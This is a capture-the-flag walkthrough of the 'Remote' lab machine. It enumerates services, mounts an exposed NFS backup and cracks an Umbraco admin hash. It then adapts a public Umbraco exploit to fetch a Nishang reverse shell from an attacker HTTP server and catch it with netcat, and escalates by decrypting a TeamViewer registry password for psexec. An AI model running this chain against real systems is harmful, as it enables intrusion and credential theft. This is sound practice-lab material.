Remote

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.180 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there quite a few ports are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p21,80,111,135,445,2049,49666 10.10.10.180 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

Not much going on. Let's enumerate directories with gobuster.

gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

If we take at look a the /install directory, which redirects to the /umbraco/ directory, we'll see a login page.

If we search for common umbraco exploits with the searchsploit tool, we'll see that there is one which allow us to execute commands remotely, but we need some valid credentials to use it.

searchsploit umbraco

Exploitation

Nmap reported that port 2049 is open. This is the default port for NFS (Network File System). Let's try to see if there is any mount available.

showmount -e 10.10.10.180

  • -e show the NFS server's export list.

Let's create a directory in which we'll be mounting the NFS.

mkdir nfs

Now, let's mount the NFS into the previous folder.

mount -t nfs 10.10.10.180:/site_backups nfs/

  • -t limit the set of filesystem types.

If we take a look at the nfs folder, we'll see a bunch of directories related to the web page.

ls -ll nfs/

If you inspect the nfs/ folder, we'll end up finding the umbraco.sfd file inside the App_Data folder.

ls -ll nfs/App_Data

We can see that it is a binary file.

cat nfs/App_Data/Umbraco.sdf

If we search for admin in the file with the strings tool, we'll find an email and a password hash.

strings nfs/App_Data/Umbraco.sdf | grep admin

Let's see if we can get the password for that hash with crackstation.

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

https://crackstation.net/

And we get the baconandcheese password. Now that we've got some valid credentials, we can use the exploit we found earlier with searchsploit.

searchsploit -m aspx/webapps/46153.py

Before executing it, we'll have to change a few things. First we'll have to change the login variable to admin@htb.local, the password variable to baconandcheese, and the host variable to http://10.10.10.180.

nano 46153.py

Then we'll have to change the payload variable, so it will send us back a reverse shell. But first, we'll have to copy the Invoke-PowerShellTcp.ps1 file from Nishang to our current directory.

cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1

And then open it and paste the following line at the end of the file.

And then set an HTTP server on the current directory with python.

python -m http.server 80

Then, back to the python script, in the payload variable, we'll have to change it, so it will download and import the rev.ps1 file, and when it is executed, it will send us the reverse shell.

Finally, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, if we execute the python script, we should get a reverse shell as the iis apppool\defaultapppool user, and we cloud grab the user flag.

Privilege Escalation

If we list the processes running on the local machine, we'll see that TeamViewer is being executed.

tasklist

If we check on the C:\Program Files (x86)\TeamViewer directory, we'll see that it is using version 7.

dir \progra~2\TeamViewer

There is a Metasploit script coded in ruby, which can break the TeamViewer passwords. All we need is the password hash, and we can find it in the HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7 registry. This registry has the SecurityPasswordAES property which contains the password hash.

(Get-ItemProperty HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7).SecurityPasswordAES

As I don't like to use Metasploit, I made a python script which breaks this hash and give us the password.

If we execute it, we'll get the !R3m0te! password.

python passwd.py

Now we can check with crackmapexec if it is the administrator password.

crackmapexec smb 10.10.10.180 -u 'Administrator' -p "\!R3m0te\!"

And we can verify that the password is valid. Finally, let's get a shell as the nt authority\system user with psexec. Then, all we have to do is reap the harvest and take the root flag.

impacket-psexec Administrator:"\!R3m0te\!"@10.10.10.180

Last updated

Was this helpful?